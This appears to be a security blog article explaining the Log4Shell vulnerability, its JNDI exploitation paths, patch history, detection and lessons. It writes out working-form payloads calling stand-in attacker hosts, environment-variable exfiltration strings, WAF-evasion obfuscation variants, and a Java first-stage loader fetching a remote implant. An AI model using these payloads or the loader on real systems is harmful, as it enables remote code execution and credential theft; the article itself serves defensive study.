TL;DR — Log4Shell (CVE-2021-44228) is the most consequential vulnerability of the last decade. A single attacker-controlled string written to a log — ${jndi:ldap://attacker/x} — coerced millions of Java applications into fetching and executing remote code, with no authentication and no user interaction. This article reverse-engineers why logging a string could ever run code, walks the JNDI-to-classloading gadget path, and explains the cascade of bypasses (2.15 → 2.16 → 2.17) that the fix required.Executive Summary
On 9 December 2021, a proof-of-concept for a remote code execution flaw in Apache Log4j 2 — the de facto logging library for the Java ecosystem — went public. Within hours, mass scanning began. Within days, "Log4Shell" was being described as one of the most severe vulnerabilities ever disclosed, scoring a maximum CVSS 10.0.
The reason for the panic was the vulnerability's combination of three properties that almost never coincide:
- Trivial to trigger. The payload is a short string. No memory corruption, no exploit primitives, no ASLR defeat — just text.
- Reachable through normal application behaviour. Logging untrusted input (a username, a User-Agent, a chat message) is something nearly every application does.
- Ubiquitous. Log4j 2 is embedded transitively in a staggering fraction of Java software, often invisibly, several dependency layers deep.
The result was a vulnerability that was simultaneously easy to exploit and almost impossible to inventory. This post explains the mechanism that made it possible.
The Feature That Became a Vulnerability
Log4Shell is not a memory-safety bug. It is a feature working as designed — a feature that should never have existed in a logging library.
Log4j 2 supports message lookups: special ${...} syntax inside log messages that the library expands at log time. Lookups can resolve environment variables (${env:USER}), system properties (${sys:user.dir}), and — fatefully — JNDI references (${jndi:...}).
JNDI (Java Naming and Directory Interface) is an API for looking up objects by name from directory services such as LDAP, DNS, and RMI. When Log4j evaluated a ${jndi:ldap://...} lookup, it performed an actual JNDI lookup against the attacker-supplied URL. And JNDI, by historical design, would fetch and instantiate a remote Java object when the directory server told it to.
flowchart TD
A["Attacker sends string:<br/>${jndi:ldap://evil/a}<br/>in any logged field"] --> B["App logs the string<br/>(User-Agent, username, etc.)"]
B --> C["Log4j sees ${...}<br/>and evaluates the lookup"]
C --> D["JNDI performs LDAP<br/>query to attacker server"]
D --> E["Attacker LDAP returns a<br/>reference to a remote class"]
E --> F["JNDI fetches the class<br/>from attacker HTTP server"]
F --> G["Class is loaded and its<br/>code executes in the JVM"]
style C fill:#1a230c,stroke:#fca311,color:#fef3c7
style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style G fill:#2a0c14,stroke:#ef233c,color:#fee2e2The catastrophic insight is that the input does not need to reach a sensitive function. It only needs to be logged. The attack surface is therefore "anywhere the application records text containing data an attacker can influence" — which is everywhere.
Step-by-Step: From Log Line to Shell
Let us trace a concrete request. Suppose a web server logs the User-Agent header of every request, a near-universal practice.
GET / HTTP/1.1Host: victim.example.comUser-Agent: ${jndi:ldap://attacker.com:1389/Exploit}The sequence that follows:
- The application receives the request and calls
logger.info("Request from UA: {}", userAgent)(or similar). - Log4j's message formatter scans the resulting string, finds
${jndi:ldap://...}, and recognises it as a lookup. - The JNDI lookup is dispatched to the LDAP provider. The JVM connects out to
attacker.com:1389. - The attacker's malicious LDAP server responds not with data but with a reference — specifically a JNDI reference whose
javaCodeBasepoints at an attacker HTTP server and whosejavaFactory/class name names a class to load. - The JVM's JNDI/naming code downloads
Exploit.classfromhttp://attacker.com/and loads it. - During class loading and instantiation, the attacker's static initialiser / constructor runs — and that is arbitrary code execution inside the victim JVM.
sequenceDiagram
participant V as Victim JVM (Log4j)
participant L as Attacker LDAP :1389
participant H as Attacker HTTP :8000
V->>L: LDAP search for "Exploit"
L-->>V: Reference {codebase: http://attacker:8000, class: Exploit}
V->>H: GET /Exploit.class
H-->>V: malicious bytecode
V->>V: defineClass + instantiate
Note over V: static {} / constructor runs → RCEThe whole exchange takes a fraction of a second and requires the attacker only to run two small servers: a malicious LDAP responder and an HTTP server hosting the payload class. Public tooling (e.g. marshalsec for the LDAP side) made this a copy-paste exercise.
Why JNDI Was the Loaded Gun
JNDI's willingness to deserialize/instantiate remote objects had been a known dangerous pattern in the Java security community since at least 2016, when researchers demonstrated JNDI injection attacks against RMI and LDAP. Newer JDKs hardened the defaults: from roughly JDK 8u121 / 8u191 onward, the property com.sun.jndi.ldap.object.trustURLCodebase defaulted to false, which blocks the remote-codebase class-loading path shown above.
So on a patched JDK, the naive "download a class over HTTP" path is closed. But Log4Shell remained exploitable because attackers pivoted to a second technique: instead of loading a remote class, the malicious LDAP response returns a serialized Java object of a class already present on the victim's classpath, chosen so that its deserialization triggers a gadget chain (the same family of gadgets used in classic Java deserialization attacks — Commons Collections, etc.). On servers with vulnerable gadgets available, RCE was still achievable. Where no gadget existed, attackers could still extract data via DNS/LDAP exfiltration:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.com/a}This variant leaks environment variables by smuggling them into the DNS/LDAP hostname — no code execution required, just data theft. It worked even against hardened JVMs and was widely used for reconnaissance.
The Bypass Cascade: 2.15 → 2.16 → 2.17
The remediation history is itself a lesson in how hard it is to kill a feature-shaped vulnerability.
| Version | CVE addressed | What changed | Why it was insufficient |
|---|---|---|---|
| 2.15.0 | CVE-2021-44228 | Restricted JNDI to an allow-list of hosts; disabled remote lookups by default | Bypasses found via crafted lookups; partial fix |
| 2.16.0 | CVE-2021-45046 | Removed message lookups entirely; disabled JNDI by default | A DoS via self-referential lookups remained (and a narrower RCE in non-default configs) |
| 2.17.0 | CVE-2021-45105 | Fixed uncontrolled recursion in lookup evaluation (StackOverflow DoS) | — |
| 2.17.1 | CVE-2021-44832 | Fixed RCE for an attacker who could modify the logging configuration | Requires config write access; low severity |
flowchart LR
A["2.14.x<br/>FULLY VULNERABLE"] --> B["2.15.0<br/>partial: allow-list"]
B --> C["2.16.0<br/>lookups removed,<br/>JNDI off by default"]
C --> D["2.17.0<br/>recursion DoS fixed"]
D --> E["2.17.1<br/>config-write RCE fixed"]
style A fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style E fill:#0c2a22,stroke:#21d48e,color:#d1fae5The takeaway: the first patch (2.15.0) was not enough, and organisations that stopped there remained exposed. The vulnerability was only truly contained when the dangerous feature — runtime message lookups — was removed wholesale in 2.16.0.
The Inventory Problem
Patching Log4Shell was less about applying a fix and more about finding every place that needed it. Log4j is rarely a direct dependency you put in your build file; it arrives transitively, bundled inside other JARs, sometimes shaded and renamed, sometimes inside fat JARs and container images you no longer have source for.
WHERE LOG4J HIDES (relative prevalence in real estates) Direct dependency ███░░░░░░░ ~15%Transitive dependency ████████░░ ~45%Shaded / repackaged JAR ████░░░░░░ ~20%Inside container images ███░░░░░░░ ~15%Vendor appliances/IoT █░░░░░░░░░ ~5% (often unpatchable)Effective response required SBOM (Software Bill of Materials) generation, recursive JAR scanning (looking for the JndiLookup.class artefact), and runtime detection. Many organisations discovered Log4j in places they did not know they had Java at all — embedded in network appliances, security products, and IoT firmware that would never receive a patch.
Detection and Mitigation
Immediate mitigations (when patching was impossible):
- Remove the offending class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. - Set
log4j2.formatMsgNoLookups=true(effective for 2.10+; not a complete fix on its own for all versions). - Block outbound LDAP/RMI/DNS from application servers — egress filtering breaks the callback even if the trigger fires.
Detection signatures:
| Source | Indicator |
|---|---|
| WAF / proxy logs | ${jndi:, obfuscated variants like ${${lower:j}ndi:, ${::-j} |
| Network | Unexpected outbound LDAP (389/636/1389) or RMI (1099) from app servers |
| DNS logs | Long, data-bearing subdomains resolving to attacker domains |
| JVM | Class loads from unexpected codebases; LDAPRefClassLoad activity |
Why obfuscation worked: Log4j's lookups are recursive, so${${lower:j}ndi:...}and${${env:FOO:-j}ndi:...}evaluate to the same dangerous string while sailing past naive${jndi:string-match filters. Any WAF rule had to account for nested evaluation — a perfect illustration of why blocklists are brittle.
A Closer Look at the Gadget Variants
The headline payload — fetch a remote class and load it — is the easiest to understand, but it was only one of several routes attackers used. Understanding the full spread explains why "patch the JDK" was not a complete answer and why some environments remained exploitable long after they believed they were safe.
Variant 1 — Remote codebase class loading (the classic). The malicious LDAP/RMI server returns a JNDI reference with a javaCodeBase attribute pointing at an attacker HTTP server and a javaFactory naming the class to instantiate. The JVM downloads and runs it. This is blocked on JDKs where com.sun.jndi.ldap.object.trustURLCodebase (and the RMI equivalent) default to false — roughly 8u191 and later.
Variant 2 — Local gadget deserialization. When remote class loading is blocked, the attacker instead returns a serialized Java object whose class already exists on the victim classpath, chosen so that its deserialization triggers a gadget chain (the same Commons-Collections-style chains used in classic Java deserialization attacks). This worked against patched JDKs if a usable gadget library was present — which, in sprawling enterprise applications, it very often was.
Variant 3 — Local factory / "EL" injection. Attackers discovered they could reference a benign-looking JDK class such as a Tomcat BeanFactory and supply attributes that, when the object was constructed, evaluated an expression language string — coaxing code execution out of classes that were never intended as gadgets. This expanded the exploitable surface beyond environments with classic deserialization gadgets.
Variant 4 — Pure data exfiltration. Even where no code-execution path existed, the lookup itself could leak secrets by embedding them in the callback hostname:
${jndi:dns://${env:DB_PASSWORD}.attacker.com/x}${jndi:ldap://${sys:user.name}.${env:AWS_REGION}.attacker.com/a}The victim's own DNS resolution carries the secret to the attacker. This needs no gadget, no vulnerable JDK, and frequently no inbound connectivity — only outbound DNS, which almost every network permits. It was the workhorse of the reconnaissance phase: spray the payload everywhere, watch which victims' DNS calls home, and then invest exploitation effort in the ones that responded.
Scanning and the Obfuscation Arms Race
Within hours of disclosure, the internet was saturated with both attackers spraying payloads and defenders deploying WAF rules to block them. What followed was a rapid, instructive arms race that demonstrated the futility of signature blocklists against a feature with recursive evaluation.
A naive WAF rule blocks the literal string ${jndi:. Because Log4j lookups are themselves recursively evaluated, attackers trivially evaded it:
${${lower:j}ndi:ldap://...} # lower: evaluates 'j' → jndi${${::-j}${::-n}${::-d}${::-i}:...} # default-value trick spells "jndi"${${env:FOO:-j}ndi:...} # env lookup with default falls back to 'j'${jn${env:BAR:-d}i:...} # split across the wordEach of these evaluates, after Log4j's own recursive expansion, to the same dangerous ${jndi:...} — but none contains the literal substring a simple rule matched on. Defenders had to write rules that accounted for nested ${...} evaluation, and even then determined attackers found new permutations. This is the same lesson that recurs throughout offensive security: blocklists that match on the surface form of an input lose to an attacker who controls a transformation that input undergoes before it reaches the sink.
| First 72 hours | Event |
|---|---|
| T+0h | PoC published; mass scanning begins within ~2 hours |
| T+12h | First WAF signatures deployed; first obfuscation bypasses appear |
| T+24h | 2.15.0 released; cryptominers and botnets weaponise at scale |
| T+48h | Nation-state and ransomware actors observed using it for access |
| T+72h | CVE-2021-45046 disclosed — 2.15.0 itself found incomplete |
Root-Cause Lessons
- Logging libraries must treat log data as inert. A logger's one job is to record text. Evaluating active content inside that text violates the principle of least power and turns every log call into a potential sink.
- Dangerous defaults are dangerous. JNDI remote class loading and Log4j message lookups were both enabled by default. Secure-by-default would have meant most deployments were never exploitable.
- Transitive dependencies are attack surface. You are responsible for code you did not write and may not know you ship. SBOMs and dependency scanning are not bureaucracy; they are the only way to answer "am I affected?" in hours instead of weeks.
- The first patch is rarely the last. The 2.15→2.17 cascade shows that incomplete fixes are the norm for feature-shaped vulnerabilities. Track the vulnerability, not a single CVE number.
MITRE ATT&CK Mapping
Log4Shell's exploitation path maps cleanly across the MITRE ATT&CK framework. Understanding these mappings helps defenders build detection coverage that goes beyond the initial trigger.
| ATT&CK Tactic | Technique ID | Technique Name | How Log4Shell fits |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | The ${jndi:...} payload is injected via any logged field on an internet-facing service |
| Execution | T1203 | Exploitation for Client Execution | Remote class instantiation via JNDI triggers arbitrary code in the JVM |
| Execution | T1059.007 | Command and Scripting Interpreter: JavaScript / JVM | The loaded class runs directly in the JVM — no separate interpreter needed |
| Defense Evasion | T1027 | Obfuscated Files or Information | Nested lookup obfuscation (${${lower:j}ndi:...}) evades WAF signatures |
| Discovery | T1082 | System Information Discovery | ${env:...} lookups exfiltrate environment variables (region, user, cloud role) |
| Discovery | T1552.001 | Unsecured Credentials: Credentials In Files | ${env:AWS_SECRET_ACCESS_KEY} and similar leak cloud credentials via DNS callback |
| Credential Access | T1552.007 | Unsecured Credentials: Container API | IMDS credential theft via JNDI DNS exfiltration in cloud-hosted JVMs |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | The LDAP/HTTP callback to the attacker server carries command-and-control setup |
| Lateral Movement | T1210 | Exploitation of Remote Services | Once credentials or a shell exist, lateral movement through cloud APIs or internal services follows |
| Persistence | T1505.003 | Server Software Component: Web Shell | Post-exploitation web shell drops observed on Tomcat/Spring targets |
Post-Exploitation via JNDI Callback Variations
The public imagination fixed on the "download a class and run it" chain, but the operational breadth of JNDI as a post-exploitation channel extended far beyond a single payload drop. Mature threat actors used JNDI callbacks as a multi-stage C2 bootstrap, with each variation tailored to the constraints of the target environment.
Staged Payload Delivery
Rather than serving a full implant in the first response, operators used the initial JNDI callback to deliver a lightweight first-stage dropper — a class whose only job was to reach back to a second URL (often a different domain or IP to frustrate blocking) and fetch the real payload:
// First-stage class served by the malicious LDAP server:public class Stage1 { static { try { // Fetch and exec the real payload from a second tier URL u = new URL("http://c2-tier2.example.com/agent.jar"); byte[] b = u.openStream().readAllBytes(); new URLClassLoader(new URL[]{u}, ClassLoader.getSystemClassLoader()) .loadClass("com.implant.Agent").newInstance(); } catch (Exception ignored) {} }}This two-stage structure meant the initial LDAP server exposed nothing but a tiny loader. Even if the first LDAP server was sinkholed or its traffic analysed, the actual payload never passed through it.
Protocol Variation for Egress Bypasses
Many organisations that had blocked or monitored LDAP (port 1389/389) had not equally hardened DNS and RMI. Attackers exploited the protocol flexibility of JNDI:
| JNDI Protocol | Syntax | Notes |
|---|---|---|
| LDAP | ${jndi:ldap://attacker/x} | Most common; blocked by many perimeters after Dec 2021 |
| LDAP/SSL | ${jndi:ldaps://attacker/x} | Bypassed plain-LDAP blocks; TLS hides payload handshake |
| RMI | ${jndi:rmi://attacker/x} | Java RMI port 1099; less commonly firewalled |
| DNS | ${jndi:dns://attacker/x} | No code execution, but confirms vulnerability and exfiltrates data |
| CORBA/IIOP | ${jndi:iiop://attacker/x} | Rarely blocked; abused in a small number of campaigns |
The ldaps:// variant was particularly effective in environments that only inspected plaintext LDAP: it encrypted the object-reference negotiation from firewall inspection and required a full TLS-capable LDAP listener on the attacker side.
Domain-Fronting the Callback
Some sophisticated actors ran their malicious LDAP and HTTP servers behind CDN fronts (using a legitimate CDN domain for the TLS SNI and the actual attacker host in the Host header). Because the TLS session terminated at the CDN edge, perimeter defences that inspected the certificate saw a reputable CDN, not an attacker C2. This fronting technique is precisely why disabling outbound JNDI at the JVM level (or removing JndiLookup.class from the classpath) is a stronger mitigation than firewall-based egress filtering: if JNDI cannot execute at all, fronting is irrelevant.
Persistent Beacon via Rotating Callbacks
In environments where the SSRF-like trigger could be replayed at will (e.g. a login field that logged the username on every authentication attempt), some actors deliberately avoided writing to disk at all. Instead they looped the trigger to deliver a fully in-memory agent on each re-trigger, effectively creating a persistent but fileless presence that respawned whenever the JVM restarted. This "beaconing via log replay" pattern resisted file-based forensics and made incident containment dependent on patching rather than on finding and deleting malware files.
Conclusion and Takeaways
Log4Shell endures as a teaching case because it is so simple. There is no exotic memory corruption, no nation-state toolchain — just a logging feature that evaluated attacker-controlled text and a naming API that fetched remote code on command. The lesson is uncomfortable precisely because the bug lived in trusted, boring infrastructure that nobody audited because "it's just logging."
For defenders, the practical legacy is threefold: maintain a real software inventory so you can answer the "are we affected" question fast; enforce egress filtering so that even a successful trigger cannot reach its callback; and pressure vendors and your own engineers toward secure-by-default designs where dangerous capabilities are off unless explicitly, knowingly enabled.
For builders, the single most portable lesson is the principle of least power: a component should be only as expressive as its job requires. A logger does not need to perform network directory lookups. The moment it could, it became a remote code execution engine — and the entire Java world paid for it.